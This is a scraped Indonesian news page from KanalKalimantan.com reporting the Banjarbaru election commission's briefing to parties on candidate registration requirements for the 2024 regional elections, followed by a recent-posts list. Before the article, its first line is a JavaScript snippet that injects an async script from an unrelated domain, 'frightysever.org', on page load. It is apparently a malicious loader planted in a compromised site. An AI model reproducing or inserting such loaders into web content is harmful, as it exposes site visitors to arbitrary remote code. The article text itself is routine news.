(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

Jelang Pendaftaran Calon, Ini Kata Ketua KPU Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Menjelang tahapan pendaftaran calon Wali Kota dan Wakil Wali Kota Banjarbaru pada Pilkada Serentak 2024, Komisi Pemilihan Umum (KPU) Kota Banjarbaru memberikan sosialisasi kepada partai politik (parpol) pengusung terkait pemenuhan syarat administrasi bakal calon yang akan mendaftar pada tanggal 27-29 Agustus.

Ketua KPU Banjarbaru Dahtiar mengatakan, sosialisasi menuju tahapan pendaftaran bakal calon ini, KPU mendatangkan sejumlah stakeholder dari berbagai instansi. Stakeholder ini adalah mereka yang akan memberikan surat keterangan atau rekomendasi terkait administrasi apa saja yang disiapkan untuk bakal calon mendaftar.

“10 Agustus lalu kita sudah melaksanakan sosialisasi tahapan pencalonan, dan hari ini rapat kordinasi lagi dengan stakeholder terkait untuk pemenuhan syarat administrasi bacalon,” ujar Dahtiar.

Baca juga: Jika Kotak Kosong Menangi Pilkada, Ini Aturannya

Syarat pencalonan untuk Pilkada 2024 tidak berbeda dengan Pilkada 2020 lalu, karena masih memakai Undang-Undang Nomor 10 tahun 2016. “Memakai PKPU yang baru, namun aturan pada prinsipnya sama,” sambung dia.

KPU Banjarbaru menekankan agar bakal calon maupun parpol pengusung menyiapkan dan sudah melengkapi berkas-berkas sebelum melakukan pendaftaran.

Oleh sebab itu juga KPU Banjarbaru dalam tahapan pendaftaran pencalonan membuka layanan help desk, agar parpol pengusung dapat berkonsultasi untuk persiapan kelengkapan berkas pendaftaran.

Baca juga: Golkar ke Arifin Noor-Supian Akbari, Tiga Poros Pasangan Pilwali Banjarmasin

“Sebelum parpol pengusung khususnya LO-nya mendaftarkan, bisa berkonsultasi dan berkordinasi dengan KPU untuk menyiapkan berkas-berkasnya,” terangnya. Agar pada saat mendaftar semua berkas yang wajib seperti aturan dalam PKPU 08 tahun 2004 sudah lengkap semuanya.

Terkait dengan visi-misi bakal calon harus sesuai dengan Rencana Pembangunan Jangka Panjang Daerah (RPJPD) Kota Banjarbaru tahun 2025-2045.

“Partai pengusung sudah diberikan pembekalan bersama dengan Baperida dan diberi ruang jika partai pengusung atau paslon ingin berkonsultasi. Baperida mereka membuka layanan pemberian masukan dan informasi terkait visi misi yang disusun,” katanya.

Baca juga: Atraksi Pesawat Trike Hari Jadi ke-74 Kalsel, Paman Birin: Jalan Banjarbaru-Batulicin Hanya 2,5-3 Jam 

“Paslon harus menyertakan visi misi dan program sesuai RPJPD, selanjutnya tinggal publik yang akan menilai apakah sudah sesuai atau tidak,” tandas Dahtiar. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.